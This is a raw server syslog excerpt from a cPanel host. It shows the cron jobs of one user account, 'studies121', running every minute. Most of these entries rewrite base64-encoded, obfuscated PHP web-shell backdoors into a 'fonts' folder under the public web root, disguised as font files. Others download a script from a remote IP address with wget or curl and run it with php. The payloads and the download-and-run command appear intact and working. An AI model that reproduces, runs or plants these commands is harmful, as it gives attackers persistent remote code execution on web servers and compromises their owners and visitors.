Sep 20 03:37:02 ip-184-168-122-23 run-parts(/etc/cron.daily)[4794]: finished logrotate
Sep 20 03:37:02 ip-184-168-122-23 run-parts(/etc/cron.daily)[4708]: starting man-db.cron
Sep 20 03:37:03 ip-184-168-122-23 run-parts(/etc/cron.daily)[4807]: finished man-db.cron
Sep 20 03:37:03 ip-184-168-122-23 anacron[28726]: Job `cron.daily' terminated
Sep 20 03:37:03 ip-184-168-122-23 anacron[28726]: Normal exit (1 job run)
Sep 20 03:38:01 ip-184-168-122-23 CROND[5029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 03:38:01 ip-184-168-122-23 CROND[5030]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 03:38:01 ip-184-168-122-23 CROND[5034]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 03:38:01 ip-184-168-122-23 CROND[5035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 03:38:01 ip-184-168-122-23 CROND[5037]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 03:39:01 ip-184-168-122-23 CROND[5273]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 03:39:01 ip-184-168-122-23 CROND[5272]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 03:39:01 ip-184-168-122-23 CROND[5271]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 03:39:01 ip-184-168-122-23 CROND[5274]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 20 03:39:01 ip-184-168-122-23 CROND[5275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 03:40:01 ip-184-168-122-23 CROND[5529]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 03:40:01 ip-184-168-122-23 CROND[5532]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 03:40:01 ip-184-168-122-23 CROND[5533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 03:40:01 ip-184-168-122-23 CROND[5534]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 03:40:01 ip-184-168-122-23 CROND[5535]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 03:40:01 ip-184-168-122-23 CROND[5536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 03:40:01 ip-184-168-122-23 CROND[5542]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 03:40:01 ip-184-168-122-23 CROND[5538]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 03:41:02 ip-184-168-122-23 CROND[5813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 03:41:02 ip-184-168-122-23 CROND[5814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 03:41:02 ip-184-168-122-23 CROND[5815]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 03:41:02 ip-184-168-122-23 CROND[5819]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 03:42:01 ip-184-168-122-23 CROND[6068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 03:42:01 ip-184-168-122-23 CROND[6069]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 03:42:01 ip-184-168-122-23 CROND[6072]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 03:42:01 ip-184-168-122-23 CROND[6073]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 03:42:01 ip-184-168-122-23 CROND[6075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 03:43:01 ip-184-168-122-23 CROND[6383]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 03:43:01 ip-184-168-122-23 CROND[6384]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 03:43:01 ip-184-168-122-23 CROND[6387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 03:43:01 ip-184-168-122-23 CROND[6385]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 03:44:01 ip-184-168-122-23 CROND[6601]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 03:44:01 ip-184-168-122-23 CROND[6602]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 03:44:01 ip-184-168-122-23 CROND[6605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 03:44:01 ip-184-168-122-23 CROND[6607]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 03:44:01 ip-184-168-122-23 CROND[6608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 03:45:02 ip-184-168-122-23 CROND[6838]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 03:45:02 ip-184-168-122-23 CROND[6840]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 03:45:02 ip-184-168-122-23 CROND[6841]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 03:45:02 ip-184-168-122-23 CROND[6842]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 03:45:02 ip-184-168-122-23 CROND[6843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 03:45:02 ip-184-168-122-23 CROND[6844]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 03:46:01 ip-184-168-122-23 CROND[7081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 03:46:01 ip-184-168-122-23 CROND[7083]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 03:46:01 ip-184-168-122-23 CROND[7085]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 20 03:46:01 ip-184-168-122-23 CROND[7084]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 03:46:01 ip-184-168-122-23 CROND[7088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 03:46:01 ip-184-168-122-23 CROND[7087]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 03:46:01 ip-184-168-122-23 CROND[7086]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 03:47:01 ip-184-168-122-23 CROND[7346]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 03:47:01 ip-184-168-122-23 CROND[7347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 03:47:01 ip-184-168-122-23 CROND[7350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 03:47:01 ip-184-168-122-23 CROND[7349]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 03:48:01 ip-184-168-122-23 CROND[7688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 03:48:01 ip-184-168-122-23 CROND[7691]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 03:48:01 ip-184-168-122-23 CROND[7689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 03:48:01 ip-184-168-122-23 CROND[7692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 03:48:01 ip-184-168-122-23 CROND[7690]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 03:49:01 ip-184-168-122-23 CROND[7927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 03:49:01 ip-184-168-122-23 CROND[7928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 03:49:01 ip-184-168-122-23 CROND[7932]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 03:49:01 ip-184-168-122-23 CROND[7933]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 03:50:01 ip-184-168-122-23 CROND[8186]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
